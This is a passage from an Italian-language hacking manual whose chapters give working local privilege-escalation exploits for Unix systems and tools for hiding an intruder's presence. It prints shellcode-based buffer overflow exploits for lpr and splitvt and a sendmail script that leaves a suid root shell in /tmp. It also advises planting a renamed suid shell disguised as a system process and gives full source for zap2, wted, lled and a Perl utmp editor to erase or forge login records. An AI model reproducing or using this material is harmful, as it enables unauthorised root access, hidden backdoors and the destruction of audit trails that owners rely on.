for(i=0;i < strlen(execshell);i++)

*(ptr++) = execshell[i];

addr_ptr = (long *)ptr;

for(i=0;i<2;i++)

*(addr_ptr++) = get_esp() + DEFAULT_OFFSET;

ptr = (char *)addr_ptr;

*ptr = 0;

execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);

}

---------- cut here

****************************

Questa e' la versione per BSD

****************************

lpr.bsd.c

--------------------------------------------------------- cut here

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#define DEFAULT_OFFSET 50

#define BUFFER_SIZE 1023

long get_esp(void)

{

__asm__("movl %esp,%eax\n");

}

void main()

{

char *buff = NULL;

unsigned long *addr_ptr = NULL;

char *ptr = NULL;

char execshell[] =

"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"

"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"

"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"

"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

int i;

buff = malloc(4096);

if(!buff)

{

printf("can't allocate memory\n");

exit(0);

}

ptr = buff;

memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));

ptr += BUFFER_SIZE-strlen(execshell);

for(i=0;i < strlen(execshell);i++)

*(ptr++) = execshell[i];

addr_ptr = (long *)ptr;

for(i=0;i<2;i++)

*(addr_ptr++) = get_esp() + DEFAULT_OFFSET;

ptr = (char *)addr_ptr;

*ptr = 0;

execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);

}

--------- cut here

Adesso basta compilarlo a fare: chmod nomeprg +x ed eseguirlo

Osserva il proprietario del gruppo. Tutti i file che copierai avranno

come proprietario lp, assicurati di cambiare il gruppo di ogni file che

scrivi.(chgrp root filename). Conrolla sempre il proprietario con ls -l.

E' una buona idea utilizzare questo exploit SOLO per guadagnare l'accesso

come root, dopodiche' basta copiare bash o sh (o quella che vuoi) con un

altro nome da qualche altra parte e renderla root con suid di root. Poi

digita chmod nomefile +s

In questo modo in futuro avrai accesso come root con gid e uid di root

senza usare l'lp. Assicurati di rinominare la shell in modo tale da farla

sembrare un processo di sistema (se l'amministratore controlla che processi

di root stanno girando, non si deve accorgere della nostra shell)

***************************************************

Questo e' un altro exploit che agisce su /usr/bin/splitvt

Se questo comando ha i permessi suid compila il programma qui sotto

****************************************

sp.c

-------------------------------------------- cut here

/*

* Avalon Security Research

* Release 1.3

* (splitvt)

*

* Affected Program: splitvt(1)

*

* Affected Operating Systems: Linux 2-3.X

*

* Exploitation Result: Local users can obtain superuser privileges.

*

* Bug Synopsis: A stack overflow exists via user defined unbounds checked

* user supplied data sent to a sprintf().

*

* Syntax:

* crimson~$ cc -o sp sp.c

* crimson~$ sp

* bash$ sp

* bash$ splitvt

* bash# whoami

* root

*

* Credit: Full credit for this bug (both the research and the code)

* goes to Dave G. & Vic M. Any questions should be directed to

* mcpheea@cadvision.com .

*

* ----------------------------------------------------------------------------

*/

 

long get_esp(void)

{

__asm__("movl %esp,%eax\n");

}

main()

{

char eggplant[2048];

int a;

char *egg;

long *egg2;

char realegg[] =

"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"

"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"

"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

char *eggie = realegg;

egg = eggplant;

*(egg++) = 'H';

*(egg++) = 'O';

*(egg++) = 'M';

*(egg++) = 'E';

*(egg++) = '=';

egg2 = (long *)egg;

for (a=0;a<(256+8)/4;a++) *(egg2++) = get_esp() + 0x3d0 + 0x30;

egg=(char *)egg2;

for (a=0;a<0x40;a++) *(egg++) = 0x90;

while (*eggie)

*(egg++) = *(eggie++);

*egg = 0; /* terminate eggplant! */

putenv(eggplant);

system("/bin/bash");

}

-------------- cut here

Ok, slitvt lavora in questo modo:

1. Complia il file

2. Fai girare il file sp

3. Lancia splitvt

Prima di lanciare splitvt digita: whoami

username

Dopo che hai lanciato l'exploit digita: whoami

root

****************************************************************

Adesso se non sei riuscito ad avere root, prova con sm.sh.

Questo e' un bug di sendmail che funziona con la versione 8.73 fino alla

8.83 (forse anche altre).

Questo e' lo script:

sm.sh

---------- cut here

echo 'main() '>>smtpd.c

echo '{ '>>smtpd.c

echo ' setuid(0); setgid(0); '>>smtpd.c

echo ' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh"); '>>smtpd.c

echo '} '>>smtpd.c

echo 'main() '>>leshka.c

echo '{ '>>leshka.c

echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0); '>>leshka.c

echo '} '>>leshka.c

cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c

./leshka

kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]"

"\n"|head -n 1`

rm leshka.c leshka smtpd.c /tmp/smtpd

cd /tmp

sh

------------ cut here

Dopo aver scritto lo script digita:

chmod +x sm.sh

1. Lancia il file

2. Esso ti porta nella directory /tmp

3. Digita ls -l e controlla se c'e' un file sh con suid, e se c'e' digita

whoami, se non sei root lancia il file ./sh, adesso controlla se

sei root ;)

Questi sono solo alcuni. Allegato a questo manuale e' presente il libro

degli exploit che potrete utilizzare per avere accessi di root o altro!!

Buon divertimento.

-------------------

Capitolo V

Renditi invisibile

-------------------

Questi stuff servono per mantenere l'acesso a piu' punti di informazioni

possibili.

Se fai delle stupidate, o non riesci a cancellare i tuoi wtmp, xferlog, ecc...

puoi perdre l'accesso al sistema. Quindi devi assolutamente imparare come

funziona ogni sistema che hackeri.

Diventa parte del sistema, e prendi nota se stai lavorando su piu' sistemi in

una volta sola. Ma ricorda, costruisciti una routine ed evita di perdre tempo

nel cancellare le tue tracce. Non sbagliare a cancellare le tue tracce,

altrimenti rischi di perdere l'accesso e di farti beccare.

-----------------------------

Sezione 5A

Zap2 (per wtmp/lastlog/utmp)

-----------------------------

Ci sono diversi programmi che cancellano le tue tracce, ma il migliore secondo

me e' zap2. Il mio l'ho compilato chiamandolo z2.

z2 viene lanciato non appena hai guadagnato l'accesso a root.

Potresti voler fare un finger @host.xxx per vedere chi e' collegato e

guardare l'idle time di root o degli account dell'amministratore per vedere

se stanno facendo qualcosa.

Loggati e non appena sei dentro digita w, per vedere l'idle time di chi c'e', ma

contemporaneamente lancia il comando per avere l'accesso a root che

avrai nacosto in qualche directory nidificata. Non appena avrai l'accesso a

root, digita ./z2 username.

Adesso sei al sicuro. Digita w pe rassicurarti che non ci sei. Se devi fare

ftp o altre cose devi usare altri programmi che ho incluso nella prossima

sezione chiamati wted e lled.

Ma continuiamo con z2. Devi vedere dove si trovano tutti i file di log nel

sistema ed editare z2.c in modo da includere la giusta locazione dei file.

#define WTMP_NAME "/usr/adm/wtmp"

#define UTMP_NAME "/etc/utmp"

#define LASTLOG_NAME "/usr/adm/lastlog"

Nella magior parte dei sistemi in cui sono entrato erano

#define WTMP_NAME "/var/adm/wtmp"

#define UTMP_NAME "/var/adm/utmp"

#define LASTLOG_NAME "/var/adm/lastlog"

oppure in /bvar/log

Questo e' il sorgente di zap2.c

--------------------------- cut here

#include <sys/types.h>

#include <stdio.h>

#include <unistd.h>

#include <sys/file.h>

#include <fcntl.h>

#include <utmp.h>

#include <pwd.h>

#include <lastlog.h>

#define WTMP_NAME "/usr/adm/wtmp"

#define UTMP_NAME "/etc/utmp"

#define LASTLOG_NAME "/usr/adm/lastlog"

 

int f;

 

void kill_utmp(who)

char *who;

{

struct utmp utmp_ent;

 

if ((f=open(UTMP_NAME,O_RDWR))>=0) {

while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

bzero((char *)&utmp_ent,sizeof( utmp_ent ));

lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);

write (f, &utmp_ent, sizeof (utmp_ent));

}

close(f);

}

}

 

void kill_wtmp(who)

char *who;

{

struct utmp utmp_ent;

long pos;

 

pos = 1L;

if ((f=open(WTMP_NAME,O_RDWR))>=0) {

 

while(pos != -1L) {

lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);

if (read (f, &utmp_ent, sizeof (struct utmp))<0) {

pos = -1L;

} else {

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

bzero((char *)&utmp_ent,sizeof(struct utmp ));

lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);

write (f, &utmp_ent, sizeof (utmp_ent));

pos = -1L;

} else pos += 1L;

}

}

close(f);

}

}

 

void kill_lastlog(who)

char *who;

{

struct passwd *pwd;

struct lastlog newll;

 

if ((pwd=getpwnam(who))!=NULL) {

 

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {

lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);

bzero((char *)&newll,sizeof( newll ));

write(f, (char *)&newll, sizeof( newll ));

close(f);

}

 

} else printf("%s: ?\n",who);

}

 

main(argc,argv)

int argc;

char *argv[];

{

if (argc==2) {

kill_lastlog(argv[1]);

kill_wtmp(argv[1]);

kill_utmp(argv[1]);

printf("Zap2!\n");

} else

printf("Error.\n");

}

--------------------------- cut here

----------------

Sezione 5B

Altri script

----------------

Dopo che ti sei connesso e hai lanciato z2, potresti aver bisogno di fare un

ftp per prendere qualche file. (RICORDA, MAI ftp o telnet al di fuori)

Ok, per fare un ftp dentro o un login in un altro account nel sistema devi

usare wted. Wted editera' il wtmp per rimuovere i tuoi login dall'ftp.

Devi usare anche lled (lastlog edit) per essere al sicuro.

Questo e' il men- che appare se digiti ./wted, dopo aver settato il path dei log

e aver compilato:

[8:25pm][/home/compile]wted

Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST

-h This help

-f Use FILE instead of default

-a Show all entries found

-u Show all entries for USER

-b Show NULL entries

-e Erase USER completely

-c Erase all connections containing HOST

-z Show ZAP'd entries

-x Attempt to remove ZAP'd entries completely

Quindi se faccio un ftp come utente tsmith dovro' digitare wted -x -e tsmith

Il programma ti chiedera' per ogni log di tsmith se vuoi cancellarlo. Dopo che

hai cancellato il tuo login , assicurati di chmod 644 il file wtmp.tmp e

copiarlo sopra il file wtmp nella directory di log. Puoi farlo in questo modo:

1. chmod 644 wtmp.tmp

2. cp wtmp.tmp /var/adm/wtmp

Questo e' il wted.c

ASSICURATI DI INSERIRE IL PATH CORRETTO dei file sottoindicati!!

wted.c

---------------------- cut here

#include <stdio.h>

#include <utmp.h>

#include <time.h>

#include <fcntl.h>

char *file="/var/adm/wtmp";

main(argc,argv)

int argc;

char *argv[];

{

int i;

if (argc==1) usage();

for(i=1;i<argc;i++)

{

if(argv[i][0] == '-')

{

switch(argv[i][1])

{

case 'b': printents(""); break;

case 'z': printents("Z4p"); break;

case 'e': erase(argv[i+1],0); break;

case 'c': erase(0,argv[i+1]); break;

case 'f': file=argv[i+1]; break;

case 'u': printents(argv[i+1]); break;

case 'a': printents("*"); break;

case 'x': remnull(argv[i+1]); break;

default:usage();

}

}

}

}

printents(name)

char *name;

{

struct utmp utmp,*ptr;

int fp=-1;

ptr=&utmp;

if (fp=open(file,O_RDONLY))

{

while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp))

{

if ( !(strcmp(name,ptr->ut_name)) || (name=="*") ||

(!(strcmp("Z4p",name)) && (ptr->ut_time==0)))

printinfo(ptr);

}

close(fp);

}

}

printinfo(ptr)

struct utmp *ptr;

{

char tmpstr[256];

printf("%s\t",ptr->ut_name);

printf("%s\t",ptr->ut_line);

strcpy(tmpstr,ctime(&(ptr->ut_time)));

tmpstr[strlen(tmpstr)-1]='\0';

printf("%s\t",tmpstr);

printf("%s\n",ptr->ut_host);

}

erase(name,host)

char *name,*host;

{

int fp=-1,fd=-1,tot=0,cnt=0,n=0;

struct utmp utmp;

unsigned char c;

if (fp=open(file,O_RDONLY)) {

fd=open("wtmp.tmp",O_WRONLY|O_CREAT);

while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {

if (host)

if (strstr(utmp.ut_host,host)) tot++;

else {cnt++;write(fd,&utmp,sizeof(struct utmp));}

if (name) {

if (strcmp(utmp.ut_name,name)) {cnt++;

write(fd,&utmp,sizeof(struct utmp));}

else {

if (n>0) {

n--;cnt++;

write(fd,&utmp,sizeof(struct utmp));}

else

{

printinfo(&utmp);

printf("Erase entry (y/n/f(astforward))? ");

c='a';

while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);

if (c=='f') {

cnt++;

write(fd,&utmp,sizeof(struct utmp));

printf("Fast forward how many entries? ");

scanf("%d",&n);}

if (c=='n') {

cnt++;

write(fd,&utmp,sizeof(struct utmp));

}

if (c=='y') tot++;

}

} }

}

close(fp);

close(fd);

}

printf("Entries stored: %d Entries removed: %d\n",cnt,tot);

printf("Now chmod wtmp.tmp and copy over the original %s\n",file);

}

remnull(name)

char *name;

{

int fp=-1,fd=-1,tot=0,cnt=0,n=0;

struct utmp utmp;

if (fp=open(file,O_RDONLY)) {

fd=open("wtmp.tmp",O_WRONLY|O_CREAT);

while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {

if (utmp.ut_time) {

cnt++;

write(fd,&utmp,sizeof(struct utmp));

}

else

tot++;

}

close(fp);

close(fd);

}

printf("Entries stored: %d Entries removed: %d\n",cnt,tot);

printf("Now chmod wtmp.tmp and copy over the original %s\n",file);

}

usage()

{

printf("Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");

printf("\t-h\tThis help\n");

printf("\t-f\tUse FILE instead of default\n");

printf("\t-a\tShow all entries found\n");

printf("\t-u\tShow all entries for USER\n");

printf("\t-b\tShow NULL entries\n");

printf("\t-e\tErase USER completely\n");

printf("\t-c\tErase all connections containing HOST\n");

printf("\t-z\tShow ZAP'd entries\n");

printf("\t-x\tAttempt to remove ZAP'd entries completely\n");

}

---------------------- cut here

Bisogna, pero', eliminare anche i riferimenti nel file /var/adm/lastlog

Per far cio' si usa lled.c. Compila il programma e chiamalo lled

Questo e' il men- che appare chiamando ./lled

[4:04am][/home/paris/compile]lled

Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST

-h This help

-f Use FILE instead of default

-a Show all entries found

-u Show all entries for USER

-b Show NULL entries

-e Erase USER completely

-c Erase all connections containing HOST

-z Show ZAP'd entries

-x Attempt to remove ZAP'd entries completely

 

Se l'host dal quale ti sei collegato si chiama machine.edit.com, digita:

lled -e username -c machine.edit

Se hai bisogno di vedere il riferimento al tuo host nel logfile (dovrebbe

essere alla fine del file) digita: lled -a

chmod il file lastlog.tmp a 644 e copia il file sopra il lastlog nella

directory di log come hai fatto per wted.

ASSICURATI di cambiare il path del lastlog

Questo e' lled.c

-------------------------- cut here

#include <stdio.h>

#include <time.h>

#include <lastlog.h>

#include <fcntl.h>

char *file="/var/adm/lastlog";

main(argc,argv)

int argc;

char *argv[];

{

int i;

if (argc==1) usage();

for(i=1;i<argc;i++)

{

if(argv[i][0] == '-')

{

switch(argv[i][1])

{

case 'b': printents(""); break;

case 'z': printents("Z4p"); break;

case 'e': erase(argv[i+1]); break;

case 'c': erase(0,argv[i+1]); break;

case 'f': file=argv[i+1]; break;

case 'u': printents(argv[i+1]); break;

case 'a': printents("*"); break;

case 'x': remnull(argv[i+1]); break;

default:usage();

}

}

}

}

printents(name)

char *name;

{

struct lastlog utmp,*ptr;

int fp=-1;

ptr=&utmp;

if (fp=open(file,O_RDONLY))

{

while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog))

{

if ( !(strcmp(name,ptr->ll_line)) || (name=="*") ||

(!(strcmp("Z4p",name)) && (ptr->ll_time==0)))

printinfo(ptr);

}

close(fp);

}

}

printinfo(ptr)

struct lastlog *ptr;

{

char tmpstr[256];

printf("%s\t",ptr->ll_line);

strcpy(tmpstr,ctime(&(ptr->ll_time)));

tmpstr[strlen(tmpstr)-1]='\0';

printf("%s\t",tmpstr);

printf("%s\n",ptr->ll_host);

}

erase(name,host)

char *name,*host;

{

int fp=-1,fd=-1,tot=0,cnt=0,n=0;

struct lastlog utmp;

unsigned char c;

if (fp=open(file,O_RDONLY)) {

fd=open("lastlog.tmp",O_WRONLY|O_CREAT);

while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {

if (host)

if (strstr(utmp.ll_host,host)) tot++;

else {cnt++;write(fd,&utmp,sizeof(struct lastlog));}

if (name) {

if (strcmp(utmp.ll_line,name)) {cnt++;

write(fd,&utmp,sizeof(struct lastlog));}

else {

if (n>0) {

n--;cnt++;

write(fd,&utmp,sizeof(struct lastlog));}

else

{

printinfo(&utmp);

printf("Erase entry (y/n/f(astforward))? ");

c='a';

while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);

if (c=='f') {

cnt++;

write(fd,&utmp,sizeof(struct lastlog));

printf("Fast forward how many entries? ");

scanf("%d",&n);}

if (c=='n') {

cnt++;

write(fd,&utmp,sizeof(struct lastlog));

}

if (c=='y') tot++;

}

} }

}

close(fp);

close(fd);

}

printf("Entries stored: %d Entries removed: %d\n",cnt,tot);

printf("Now chmod lastlog.tmp and copy over the original %s\n",file);

}

remnull(name)

char *name;

{

int fp=-1,fd=-1,tot=0,cnt=0,n=0;

struct lastlog utmp;

if (fp=open(file,O_RDONLY)) {

fd=open("lastlog.tmp",O_WRONLY|O_CREAT);

while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {

if (utmp.ll_time) {

cnt++;

write(fd,&utmp,sizeof(struct lastlog));

}

else

tot++;

}

close(fp);

close(fd);

}

printf("Entries stored: %d Entries removed: %d\n",cnt,tot);

printf("Now chmod lastlog.tmp and copy over the original %s\n",file);

}

usage()

{

printf("Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");

printf("\t-h\tThis help\n");

printf("\t-f\tUse FILE instead of default\n");

printf("\t-a\tShow all entries found\n");

printf("\t-u\tShow all entries for USER\n");

printf("\t-b\tShow NULL entries\n");

printf("\t-e\tErase USER completely\n");

printf("\t-c\tErase all connections containing HOST\n");

printf("\t-z\tShow ZAP'd entries\n");

printf("\t-x\tAttempt to remove ZAP'd entries completely\n");

}

---------------------------------------------------------------- cut here

Esiste un buon perl script per editare utmp, wtmp, e controllare i processi.

Con wted e' anche possibile inserire una linea. cosi' se vuoi giocare un

po',puoi aggiungere clinton.whitehouse.gov loggato nella porta ttyp3 e far vedere

che e' stato loggato per qualche ora.

Facendo girare "check", saprai se qualcuno e' nel sistema e non si vede nel

utmp log. Alle volte gli amministratori si nascondono. In questo modo potrai

vedere se sono collegati. Devi essere root per far girare lo script e c'e'

bisogno di perl 5.003+ sul sistema. Prima di far partire lo script vediamo

l'help.

Qui ci sono alcuni dei comandi base:

starts by loading wtmp

delete user username

delete host hostanme

write

read wtmp

delete user username

delete host hostname

write

chiama l'help per il resto.

-----------------------start of utmpman.pl

#!/usr/bin/perl -w

#

# Variable defines.

my($utmp_location) = "/var/run/utmp";

my($wtmp_location) = "/var/log/wtmp";

my($shells_location) = "/etc/shells";

my($ttybase) = "tty";

my($ttyrange) = "pqrs"; # TTYrange standard on most linux

systems.

my($ttyports) = "012345657689abcfef"; # TTYports standard on most linux

systems.

# Global initializations.

my($active_file) = "";

my(%entries) = {};

my(@cmdline) = ();

my(@shells) = ();

# Display banner.

print "\nutmp Manager v0.8\n\n";

# Access check.

die("utmpman :: You must be root to run this application!\n") unless ($> == 0);

# Read in valid shells.

if (defined($shells_location)) {

open(SHELLFILE, "<$shells_location");

@shells = <SHELLFILE>;

close(SHELLFILE);

}

# Process "basename" of each shell.

@shells = map( { /([^\/\n]+)\n*$/; $1; } @shells);

 

print push(@shells) . " valid shells in $shells_location: @shells\n" if

(defined(@shells));

readfile("$utmp_location");

print("\nutmpman: $active_file> ");

while (<STDIN>) {

process_cmd(split);

print("\nutmpman: $active_file> ");

}

sub process_cmd {

return if (!defined(@_));

my(@line) = map { lc($_) } @_;

 

$_ = shift(@line);

SWITCH: {

/^check$/ && do {

check_func(@line);

last SWITCH;

};

/^delete$/ && do {

del_func(@line);

last SWITCH;

};

 

/^help$/ && do {

help_func();

last SWITCH;

};

 

/^insert$/ && do {

ins_func(@line);

last SWITCH;

};

 

/^list$/ && do {

list_func(@line);

last SWITCH;

};

/^read$/ && do {

read_func(@line);

last SWITCH;

};

 

/^write$/ && do {

write_func(@line);

last SWITCH;

};

 

/^quit|exit$/ && exit(0);

 

# DEFAULT.

print ("Invalid command.\n");

}

}

 

# HELP

sub help_func {

print << "EOM";

utmpManager Help

----------------

Note: - <n> is an argument.

- [id=] is a token which expects a value as part of command

(ie, insert id=p5 user=root 11/23/96). See the insert command.

- A line is the full name to the tty port, ie ttyp0.

- An id is the *unique* representation of the port

(without the tty, etc), ie "p0" (for ttyp0).

check

- Perform user consistancy check. Use this to make sure that the data in

utmp agrees with who is actually on the machine. This is useful in

determining if a user is online with hidden ports, running nohup'd

processes, or running iScreen.

delete <x>-<y>

- Delete entries #x to #y.

delete host <host>

- Delete *all* entries which match the substring <host>.

delete line|id <line|id>

- Delete entry containing <line> or <id>.

insert {id=|line=} [type=] [user=] [host=] [ConnTime] {LogoffTime}

- Insert an entry into utmp/wtmp files specifying any combination

of id/line, type, username, host, connection time, and logoff time.

(LogoffTime only valid for WTMP files.)

list host <host>

- List all entries matching the substring <host>.

list line|id <line|id>

- List all entries matching <line> or <id>.

read utmp|wtmp|<filename>

- Read entries from either default wtmp, default utmp, or an arbitrary

filename. Note: arbitrary filenames MUST start with either "utmp" or

"wtmp" to be used with this editor. Rename files *outside* of this

editor if necessary. If read is executed without any arguments, it

rereads the last given filename, which is displayed on the prompt.

write {filename}

- Write entries to file {filename}. If write is executed without any

arguments, then entries will be written to the last given filename,

which is displayed on the prompt.

EOM

}

# DELETE

sub del_func {

my(@params) = @_;

if (!push(@_)) {

print("delete :: Not enough parameters. See \"help\" for syntax.\n");

return undef;

} elsif ($params[0] =~ /host|user|id|line/) {

del_by_data(@_);

} elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) {

del_by_range($params[0]);

} elsif ($params[0] =~ m/^(\d+)$/) {

del_by_range("$1-$1");

}

 

# Renumber list after delete operation.

resync();

}

 

sub del_by_range {

my($range)=shift;

$range =~ m/(\d+)*-(\d+)*/;

my($lo, $hi, $count)=($1, $2, 0);

 

$lo = 0 if (!defined($lo));

$hi = scalar(keys(%entries)) if (!defined($hi));

 

foreach (sort( { $a <=> $b } keys(%entries))) {

if (($_ >= $lo) && ($_ <= $hi)) {

delete($entries{$_});

$count++;

}

}

print "$count entries deleted.\n";

}

 

sub del_by_data {

my($op, $data) = @_;

my($count) = 0;

if ((length($data) < 5) && ($op eq "host")) {

print "Must specify at least 5 characters for delete hostmask.\n";

return undef;

} elsif (((length($data) > 4) && ($op eq "id"))||

((length($data) > 11) && ($op eq "line"))) {

print "Invalid $op specified.\n";

return undef;

}

# Note: If we are deleting by user, then user must match, *exactly*!

$data = "^" . pack("a8", $data) . "\$" if ($op eq "user");

foreach (sort( { $a <=> $b } keys(%entries))) {

if (%{$entries{$_}}->{$op} =~ m/$data/i) {

delete($entries{$_});

++$count;

}

}

if (!$count) {

print "No $op entries matching $data.\n";

} else {

print "$count entries deleted.\n";

}

}

 

# INSERT

# Date1 Time1 = DateTime1 => mm/dd/[cc]yy[:hh:mm[:ss]]

# Date2 Time2 = DateTime2 => (see above)

# user=<username>

# host=<hostname>

# id=<id> | line=<line>

#

# utmp:

# insert {id=|line=} [type=] [user=] [host=] [DateTime]

# wtmp:

# insert {id=|line=} [user=] [host=] [DateTime1] {DateTime2}

sub ins_func {

my(%cmdopt)={};

my($datetime1, $datetime2, $gmdate, $gmdate2);

# Get random pid out of the way.

$cmdopt{"pid"} = int(rand(32656)+100);

$cmdopt{"addr"} = pack("a4", "");

# Get command options.

foreach (@_) {

if (/=/) {

local($key, $value)=split(/=/);

$cmdopt{$key} = $value;

} else {

if (!defined($datetime1)) {

$datetime1 = $_;

next;

}

if (!defined($datetime2)) {

$datetime2 = $_ ;

next;

}

print "insert :: Invalid options specified. Please see \"help\" for

syntax.\n";

return undef;

}

}

# Check for an illegal pair or illegal option.

foreach (keys(%cmdopt)) {

if (!(/^host|id|line|type|user|addr$/)) {

print "insert :: Invalid options specified. Please see \"help\" for

syntax.\n";

return undef;

}

if (($_ eq "last") && ($active_file !~ m!/*utmp[^/]*$!i)) {

print "insert :: LAST option only valid for utmp files.\n";

return undef;

}

}

# Get date in seconds since 1970.

$gmdate = SecsSince1970($datetime1);

# Get ending date in seconds since 1970.

$gmdate2 = SecsSince1970($datetime2) if (defined($datetime2));

if (!defined($gmdate) || (!defined($gmdate2) && defined($datetime2))) {

print "insert :: Invalid date specified.\n";

return undef;

}

if (defined($gmdate2)) {

if ($gmdate2 < $gmdate) {

print "insert :: First date/time must be *later* than second

date/time.\n";

return undef;

}

}

if (defined($cmdopt{"id"}) && defined($cmdopt{"line"})) {

print "insert :: Insert by LINE or ID only. Please do not specify both.\n";

return undef;

}

my($op);

if (!defined($cmdopt{"id"})) {

$cmdopt{"id"} = $cmdopt{"line"};

$op = "line";

if (!($cmdopt{"id"} =~ s/^$ttybase//)) {

print "insert :: Invalid line specified.\n";

return undef;

}

} else {

$cmdopt{"line"} = $ttybase . $cmdopt{"id"};

$op = "id";

}

if (!(defined($cmdopt{"line"}) || defined($cmdopt{"id"}))) {

print "insert :: Neither LINE nor ID value found. See \"help\" for

syntax.\n";

return undef;

}

 

my($searchdata) = ($active_file =~ m!/*utmp[^/]*$!i) ?

(pack(($op eq "line") ? "a12" : "a4", $cmdopt{$op})):$cmdopt{$op};

my($epos1, $npos1, $epos2, $npos2) = ();

my($oldpos, $count)=("", 0);

foreach (sort( { $a <=> $b } keys(%entries))) {

if ($active_file =~ m!/*utmp[^/]*$!i) {

# Handle utmp insertion by line insertion.

if (%{$entries{$_}}->{$op} eq $searchdata) {

printf ("insert :: $op $searchdata already exists at position $_\n");

# This needs to check every option in %cmdopt for defined or null.

$count = 0;

foreach (qw(user host time)) {

if (defined($cmdopt{$_})) {

$count++ if ($cmdopt{$_} ne "");

}

}

if (!$count) {

printf ("insert :: No other data specified. Entry unchanged.\n");

return undef;

}

last;

}

} else {

# Handle wtmp insertion by time position. (Messy)

$epos1 = $oldpos if (defined($npos1) && !defined($epos1));

$npos1 = $_ if (%{$entries{$_}}->{"time"} > $gmdate);

last if (!defined($gmdate2) && defined($epos1));

$epos2 = $oldpos if (defined($npos2));

$npos2 = $_ if (%{$entries{$_}}->{"time"} > $gmtime2);

last if (defined($epos2));

}

$oldpos = $_;

}

# Set any unspecified defaults.

$cmdopt{"user"} = pack("a8", "") if !defined($cmdopt{"user"});

$cmdopt{"host"} = pack("a16", "") if !defined($cmdopt{"host"});

$cmdopt{"type"} = 7 if !defined($cmdopt{"type"});

# Determine end of list insertion positions. (IE, dates entered are after

# dates in wtmp file or line/id not found in utmp file.

$epos1 = (scalar(keys(%entries)) + 1) if (!defined($npos1));

if (defined($datetime2)) {

$epos2 = (scalar(keys(%entries)) + 1) if (!defined($npos2));

++$epos2 if (defined($gmtime2) && !defined($npos1));

}

# Parse insert data and insert entry.

$epos1 = sprintf("%7.3f", ($npos1 - $epos1)/2) if (defined($npos1));

$epos2 = sprintf("%7.3f", ($npos2 - $epos2)/2)

if (defined($npos2) && defined($gmdate2));

# Insert first entry.

$cmdopt{"time"} = $gmdate;

@{$entries{$epos1}}{qw(type pid line id time user host addr)} =

@{%cmdopt}{qw(type pid line id time user host addr)};

if (defined($epos2)) {

$cmdopt{"user"} = pack("a8", "");

$cmdopt{"host"} = pack("a16","");

$cmdopt{"id"} = pack("a4", "");

$cmdopt{"time"} = $gmdate2;

 

@{$entries{$epos2}}{qw(type pid line id time user host addr)} =

@{%cmdopt}{qw(type pid line id time user host addr)};

}

resync();

}

 

# LIST

sub list_func {

my(@params) = @_;

if (!push(@_) || ($params[0] eq "all")) {

list_by_range("-");

return 0;

} elsif ($params[0] =~ /^host|user|id|line$/) {

list_by_data(@_);

return 0;

} elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) {

list_by_range($params[0]);

return 0;

} elsif ($params[0] =~ m/^(\d+)$/) {

list_by_range("$1-$1");

return 0;

}

 

print ("list :: Error in parameters. See \"help\" for syntax.\n");

return undef;

}

 

sub list_by_data {

my($op, $data) = @_;

my($count) = 0;

foreach (sort( {$a <=> $b} keys(%entries))) {

if (%{$entries{$_}}->{$op} =~ m/$data/i) {

list_entry($_);

++$count;

}

}

print "No $op entries matching $data.\n" if (!$count);

}

 

sub list_by_range {

my($range)=shift;

$range =~ m/(\d+)*-(\d+)*/;

my($lo, $hi)=($1, $2);

 

$lo = 0 if (!defined($lo));

$hi = scalar(keys(%entries)) if (!defined($hi));

 

foreach (sort( { $a <=> $b } keys(%entries))) {

if (($_ >= $lo) && ($_ <= $hi)) {

list_entry($_);

}

}

}

 

sub list_entry {

printf("#%3d - " . gmtime(%{$entries{$_}}->{"time"}), $_);

printf(" %s/%s", @{$entries{$_}}{qw(id line)});

printf(": %s ", %{$entries{$_}}->{"user"})

if (%{$entries{$_}}->{"user"} ne pack("a8", ""));

printf("from %s", %{$entries{$_}}->{"host"})

if (%{$entries{$_}}->{"host"} ne pack("a16", ""));

if (%{$entries{$_}}->{"addr"} ne "\0\0\0\0") {

printf(" (%s)", longtodot4(%{$entries{$_}}->{"addr"}));

}

print ("\n");

printf("%7sPID = %u\n", "", %{$entries{$_}}->{"pid"})

